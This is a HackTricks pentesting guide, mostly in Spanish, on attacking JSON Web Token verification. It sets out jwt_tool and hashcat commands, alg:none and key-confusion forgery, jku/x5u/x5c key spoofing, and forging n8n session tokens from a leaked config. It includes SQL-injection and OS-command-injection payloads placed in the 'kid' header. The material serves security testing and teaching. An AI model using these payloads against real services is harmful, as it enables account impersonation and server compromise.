Vulnerabilidades de JWT (Json Web Tokens)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Parte de esta publicación se basa en el excelente post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor de la gran herramienta para pentesting de JWTs https://github.com/ticarpi/jwt_tool
Victorias Rápidas
Ejecuta jwt_tool en el modo All Tests! y espera las líneas en verde
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Si tienes suerte la herramienta encontrará algún caso en el que la aplicación web esté comprobando incorrectamente el JWT:
.png)
Luego, puedes buscar la request en tu proxy o dump el JWT usado para esa request usando jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.
Flujo práctico de evaluación de JWT
- Scope the session control: Pick a user-specific request (e.g., profile, billing). Remove cookies/headers one at a time until the request is rejected to isolate which token(s) actually gate authorization.
- Locate JWTs in traffic: They often sit in
Authorization: Bearer <JWT>, but also appear in custom headers or cookies. If Burp doesn’t highlight them, use Target → Site map → Engagement tools → Search with regex patterns such as: [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*- Decode and enumerate: Use Burp JWT Editor or
python3 jwt_tool.py <JWT>to read header/payload. Notealg,exp/token lifetime, and authn/authz-driving claims (role,id,username,email, etc.). - Signature enforcement sanity check: Flip or delete a few bytes in the signature portion and replay. Acceptance implies missing signature validation and you can directly tamper payload claims.
- Goal: Modify payload claims to escalate privileges; every attack below aims to get the server to accept a tampered payload by abusing weak verification, weak secrets, or unsafe key selection.
Manipular datos sin modificar nada
You can just tamper with the data leaving the signature as is and check if the server is checking the signature. Try to change your username to “admin” for example.
Is the token checked?
To check if a JWT’s signature is being verified:
- An error message suggests ongoing verification; sensitive details in verbose errors should be reviewed.
- A change in the returned page also indicates verification.
- No change suggests no verification; this is when to experiment with tampering payload claims.
Origin
It’s important to determine whether the token was generated server-side or client-side by examining the proxy’s request history.
- Tokens first seen from the client side suggest the key might be exposed to client-side code, necessitating further investigation.
- Tokens originating server-side indicate a secure process.
Duration
Check if the token lasts more than 24h… maybe it never expires. If there is a “exp” filed, check if the server is correctly handling it.
Brute-force HMAC secret
If the header uses HS256, dump the token to a file and try offline cracking:
python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
Una vez que se recupera el secreto, cárguelo como una clave simétrica en Burp JWT Editor y vuelva a firmar los claims modificados.
Derivar secretos JWT a partir de leaked config + datos de DB
Si una lectura arbitraria de archivos (o backup leak) expone tanto material de cifrado de la aplicación como registros de usuarios, a veces puedes recrear el secreto de firma del JWT y forjar cookies de sesión sin conocer ninguna contraseña en texto plano. Patrón de ejemplo observado en stacks de automatización de workflow:
- Leak la app key (p. ej.,
encryptionKey) desde un archivo de config. - Leak la tabla de usuarios para obtener
email,password_hashyuser_id. - Derivar el secreto de firma a partir de la key, luego derivar el hash por-usuario esperado en el payload del JWT:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- Inserta el token firmado en la cookie de sesión (p. ej.,
n8n-auth) para suplantar la cuenta de usuario/administrador incluso si el hash de la contraseña está salado.
Modify the algorithm to None
Establece el algoritmo utilizado como “None” y elimina la parte de la firma.
Usa la extensión de Burp llamada “JSON Web Token” para probar esta vulnerabilidad y cambiar distintos valores dentro del JWT (envía la petición a Repeater y en la pestaña “JSON Web Token” puedes modificar los valores del token. También puedes seleccionar poner el valor del campo “Alg” a “None”).
Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
El algoritmo HS256 usa la clave secreta para firmar y verificar cada mensaje.
El algoritmo RS256 usa la clave privada para firmar el mensaje y la clave pública para la verificación.
Si cambias el algoritmo de RS256 a HS256, el código backend utiliza la clave pública como clave secreta y luego usa el algoritmo HS256 para verificar la firma.
Entonces, usando la clave pública y cambiando RS256 por HS256 podríamos crear una firma válida. Puedes obtener el certificado del servidor web ejecutando esto:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Using Burp JWT Editor, import the RSA public key (from /.well-known/jwks.json or a PEM) and run Attack → HMAC Key Confusion Attack to automate the HS256 re-sign attempt.
New public key inside the header
Un atacante inserta una nueva clave en el encabezado del token y el servidor usa esta nueva clave para verificar la firma (CVE-2018-0114).
This can be done with the “JSON Web Tokens” Burp extension.
(Envía la petición al Repeater, dentro de la pestaña JSON Web Token selecciona “CVE-2018-0114” y envía la petición).
JWKS Spoofing
Las instrucciones detallan un método para evaluar la seguridad de tokens JWT, particularmente aquellos que emplean la claim de header “jku”. Esta claim debe apuntar a un archivo JWKS (JSON Web Key Set) que contiene la clave pública necesaria para la verificación del token.
-
Assessing Tokens with “jku” Header:
-
Verifica la URL de la claim “jku” para asegurarte de que conduce al archivo JWKS adecuado.
-
Modifica el valor “jku” del token para dirigirlo hacia un servicio web controlado por ti, permitiendo la observación del tráfico.
-
Monitoring for HTTP Interaction:
-
Observar solicitudes HTTP a la URL que especificaste indica que el servidor intenta obtener claves desde el enlace que proporcionaste.
-
Cuando uses
jwt_toolpara este proceso, es crucial actualizar el ficherojwtconf.inicon la ubicación de tu JWKS personal para facilitar las pruebas. -
Command for
jwt_tool: -
Ejecuta el siguiente comando para simular el escenario con
jwt_tool:
python3 jwt_tool.py JWT_HERE -X s
Kid Issues Overview
Una claim opcional de header conocida como kid se utiliza para identificar una clave específica, lo cual resulta especialmente importante en entornos donde existen múltiples claves para la verificación de la firma del token. Esta claim ayuda a seleccionar la clave apropiada para verificar la firma del token.
Revealing Key through “kid”
Cuando la claim kid está presente en el header, se recomienda buscar en el directorio web el archivo correspondiente o sus variaciones. Por ejemplo, si se especifica "kid":"key/12345", se deberían buscar los archivos /key/12345 y /key/12345.pem en la raíz web.
Path Traversal with “kid”
La claim kid también puede explotarse para navegar por el sistema de archivos, potencialmente permitiendo la selección de un archivo arbitrario. Es factible probar la conectividad o ejecutar ataques de Server-Side Request Forgery (SSRF) alterando el valor de kid para apuntar a archivos o servicios específicos. Manipular el JWT para cambiar el valor kid mientras se conserva la firma original se puede lograr usando la opción -T en jwt_tool, como se muestra a continuación:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Apuntando a archivos con contenido predecible, es posible forjar un JWT válido. Por ejemplo, el archivo /proc/sys/kernel/randomize_va_space en sistemas Linux, conocido por contener el valor 2, puede usarse en el parámetro kid con 2 como contraseña simétrica para la generación del JWT.
Un patrón práctico para cargas de claves frágiles desde el sistema de archivos es generar una clave HS256 con JWK k establecido en AA==, establecer kid a un traversal como ../../../../../../../dev/null y volver a firmar: algunas implementaciones tratan el archivo vacío como un secreto HMAC válido y aceptarán tokens forjados.
Inyección SQL vía “kid”
Si el contenido del claim kid se emplea para obtener una contraseña de una base de datos, se podría facilitar una inyección SQL modificando el payload kid. Un payload de ejemplo que usa inyección SQL para alterar el proceso de firma del JWT incluye:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Esta alteración fuerza el uso de una clave secreta conocida, ATTACKER, para la firma del JWT.
Inyección de OS a través de “kid”
Un escenario donde el parámetro kid especifica una ruta de archivo usada dentro de un contexto de ejecución de comandos podría llevar a vulnerabilidades de Remote Code Execution (RCE). Inyectando comandos en el parámetro kid, es posible exponer private keys. Un ejemplo de payload para lograr RCE y exposición de claves es:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u y jku
jku
jku significa JWK Set URL.
Si el token usa un claim de Header “jku” entonces revisa la URL proporcionada. Esta debe apuntar a una URL que contenga el archivo JWKS que mantiene la Public Key para verificar el token. Manipula el token para hacer que el valor jku apunte a un servicio web cuyo tráfico puedas monitorizar.
Primero necesitas crear un nuevo certificado con private & public keys nuevas.
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Entonces puedes usar por ejemplo jwt.io para crear el nuevo JWT con las claves públicas y privadas creadas y apuntando el parámetro jku al certificado creado. Para crear un certificado jku válido puedes descargar el original y cambiar los parámetros necesarios.
Puedes obtener los parámetros “e” y “n” de un certificado público usando:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
Si el verificador obtiene material de clave de forma remota, inserta una URL de Burp Collaborator en jku/x5u usando JWT Editor → Attack → Embed Collaborator payload. Cualquier callback confirma la recuperación de claves estilo SSRF; luego aloja tu propio JWKS/PEM en esa URL y vuelve a firmar con tu clave privada para que el servicio valide tokens creados por el atacante.
x5u
X.509 URL. Una URI que apunta a un conjunto de certificados públicos X.509 (un estándar de formato de certificados) codificados en forma PEM. El primer certificado del conjunto debe ser el que se utilizó para firmar este JWT. Los certificados posteriores firman cada uno al anterior, completando así la cadena de certificados. X.509 está definido en RFC 52807. Se requiere seguridad de transporte para transferir los certificados.
Intenta cambiar esta cabecera por una URL bajo tu control y comprueba si se recibe alguna petición. En ese caso podrías manipular el JWT.
Para forjar un nuevo token usando un certificado que controles, necesitas crear el certificado y extraer las claves pública y privada:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter x5u to the certificate .crt created.
.png)
You can also abuse both of these vulns for SSRFs.
x5c
Este parámetro puede contener el certificate in base64:
.png)
Si el atacante generates a self-signed certificate y crea un forged token usando la corresponding private key y reemplaza el valor del parámetro “x5c” con el certificado recién generado y modifica los otros parámetros, a saber n, e y x5t, entonces esencialmente el forged token sería aceptado por el servidor.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Clave pública incrustada (CVE-2018-0114)
Si el JWT contiene una clave pública incrustada como en el siguiente escenario:
.png)
Usando el siguiente script de nodejs es posible generar una clave pública a partir de esos datos:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Es posible generar una nueva clave privada/pública, incrustar la nueva clave pública dentro del token y usarla para generar una nueva firma:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Puedes obtener “n” y “e” usando este script nodejs:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finalmente, usando la clave pública y privada y los nuevos valores “n” y “e” puedes usar jwt.io para forjar un nuevo JWT válido con cualquier información.
ES256: Revelando la clave privada si se usa el mismo nonce
Si algunas aplicaciones usan ES256 y utilizan el mismo nonce para generar dos jwts, la clave privada puede ser restaurada.
Aquí hay un ejemplo: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
La claim JTI (JWT ID) proporciona un identificador único para un JWT Token. Puede usarse para evitar que el token sea reutilizado.
Sin embargo, imagina una situación donde la longitud máxima del ID es 4 (0001-9999). La request 0001 y 10001 van a usar el mismo ID. Así que si el backend está incrementing el ID en cada request, podrías abusar de esto para replay a request (necesitando enviar 10000 requests entre cada replay exitoso).
JWT Registered claims
Other attacks
Cross-service Relay Attacks
Se ha observado que algunas aplicaciones web confían en un JWT service para la generación y gestión de sus tokens. Se han documentado casos donde un token, generado para un cliente por el JWT service, fue aceptado por otro cliente del mismo JWT service. Si se observa la emisión o renovación de un JWT vía un servicio de terceros, debe investigarse la posibilidad de registrarse en otra aplicación cliente de ese servicio usando el mismo username/email. A continuación, debería intentarse replay del token obtenido en una petición al objetivo para ver si es aceptado.
- La aceptación de tu token puede indicar un problema crítico, potencialmente permitiendo el spoofing de la cuenta de cualquier usuario. Sin embargo, debe tenerse en cuenta que puede ser necesario obtener permiso para pruebas más amplias si implican registrarse en una aplicación de terceros, ya que esto podría entrar en un área legal gris.
Expiry Check of Tokens
La expiración del token se comprueba usando la claim “exp” del Payload. Dado que los JWTs a menudo se emplean sin información de sesión, se requiere un manejo cuidadoso. En muchos casos, capturar y reproducir el JWT de otro usuario podría permitir la suplantación de ese usuario. El RFC de JWT recomienda mitigar los ataques de replay usando la claim “exp” para establecer un tiempo de expiración del token. Además, es crucial que la aplicación implemente las comprobaciones pertinentes para procesar este valor y rechazar tokens expirados. Si el token incluye una claim “exp” y los límites de tiempo de las pruebas lo permiten, se aconseja almacenar el token y reproducirlo después de que haya pasado el tiempo de expiración. El contenido del token, incluyendo parseo de timestamps y comprobación de expiración (timestamp en UTC), puede leerse usando la flag -R de jwt_tool.
- Puede existir un riesgo de seguridad si la aplicación aún valida el token, ya que podría implicar que el token nunca expira.
Tools
- jwt_tool – decodificación, manipulación de claim/header, cracking offline de secretos (
-C) y modos de ataque semi-automatizados (-M at). - Burp JWT Editor – decode/re-sign en Repeater, generar claves personalizadas y ejecutar ataques incorporados (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
- hashcat
-m 16500– cracking de secretos HS256 acelerado por GPU tras exportar JWTs a un wordlist.
References
- n8n token forge chain – config+DB leak to JWT signing secret
- Burp Suite – JWT Editor extension
- jwt_tool attack methodology
- Keys to JWT Assessments – TrustedSec
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


